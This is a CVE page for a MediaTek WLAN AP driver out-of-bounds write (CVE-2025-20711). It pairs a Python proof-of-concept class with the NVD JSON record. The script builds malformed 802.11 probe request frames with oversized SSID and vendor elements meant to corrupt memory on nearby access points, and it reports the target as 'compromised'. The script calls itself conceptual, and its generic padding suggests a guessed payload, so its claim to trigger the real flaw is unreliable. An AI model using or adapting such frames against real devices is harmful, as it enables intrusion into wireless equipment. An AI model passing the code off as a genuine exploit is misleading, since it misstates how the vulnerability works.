CVE-2025-20711

# CVE-2025-20711 - MediaTek WLAN AP Driver Out of Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability exploitation # The actual exploit requires proximity to the target device import struct import socket import time class MediaTekWLANExploit: """ PoC for CVE-2025-20711: Out of bounds write in MediaTek WLAN AP driver Vulnerability: Incorrect bounds check in WLAN AP driver Impact: Remote (adjacent) privilege escalation """ # 802.11 frame header constants FRAME_TYPE_MANAGEMENT = 0x00 FRAME_TYPE_CONTROL = 0x01 FRAME_TYPE_DATA = 0x02 # Management frame subtypes SUBTYPE_BEACON = 0x08 SUBTYPE_PROBE_REQ = 0x04 SUBTYPE_ASSOC_REQ = 0x00 SUBTYPE_AUTH = 0x0B def __init__(self, target_bssid, interface='wlan0'): self.target_bssid = target_bssid self.interface = interface self.overflow_size = 512 # Size to trigger OOB write def build_malicious_frame(self, subtype, payload): """Build a malicious 802.11 frame to trigger OOB write""" # Frame Control field frame_control = struct.pack('<H', (0x00 << 0) | # Protocol Version (subtype << 4) | # Subtype (0x00 << 8) | # Type (Management) (0x00 << 10) # To DS ) # Duration duration = struct.pack('<H', 0x0000) # Address fields (DA, SA, BSSID) addr1 = b'\xff\xff\xff\xff\xff\xff' # Destination addr2 = b'\x00\x11\x22\x33\x44\x55' # Source (attacker) addr3 = self.target_bssid # BSSID # Sequence control seq_ctrl = struct.pack('<H', 0x0000) # Malicious payload - oversized to trigger OOB write # The driver has incorrect bounds check and will write beyond buffer malicious_payload = payload + b'\x41' * self.overflow_size frame = frame_control + duration + addr1 + addr2 + addr3 + seq_ctrl + malicious_payload return frame def craft_exploit_payload(self): """Craft the exploit payload to trigger OOB write""" # IE tag for SSID with extended length to trigger bounds check bypass ssid_tag = struct.pack('BB', 0x00, 0xFF) # SSID tag with max length ssid_data = b'A' * 255 # Vendor specific IE with malicious content vendor_ie = struct.pack('BBB', 0xDD, 0xFF, 0x00) # Vendor IE vendor_data = b'\x00\x50\xf2' # WFA OUI vendor_data += b'\x01' # WPS type vendor_data += b'\x00' * 252 # Padding to overflow payload = ssid_tag + ssid_data + vendor_ie + vendor_data return payload def send_exploit(self): """Send the exploit frame to the target AP""" payload = self.craft_exploit_payload() frame = self.build_malicious_frame(self.SUBTYPE_PROBE_REQ, payload) print(f"[*] Sending malicious probe request to {self.target_bssid}") print(f"[*] Frame size: {len(frame)} bytes") print(f"[!] This should trigger OOB write in MediaTek WLAN AP driver") # In actual exploitation, this would be sent via raw socket # s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) # s.bind((self.interface, 0)) # s.send(frame) return frame # Usage if __name__ == '__main__': target = b'\xAA\xBB\xCC\xDD\xEE\xFF' exploit = MediaTekWLANExploit(target_bssid=target) exploit.send_exploit() print("[+] Exploit sent. Check if target device crashed or was compromised.")

{"cve": {"id": "CVE-2025-20711", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:35.580", "lastModified": "2026-01-13T06:15:49.410", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00422399; Issue ID: MSV-3748."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}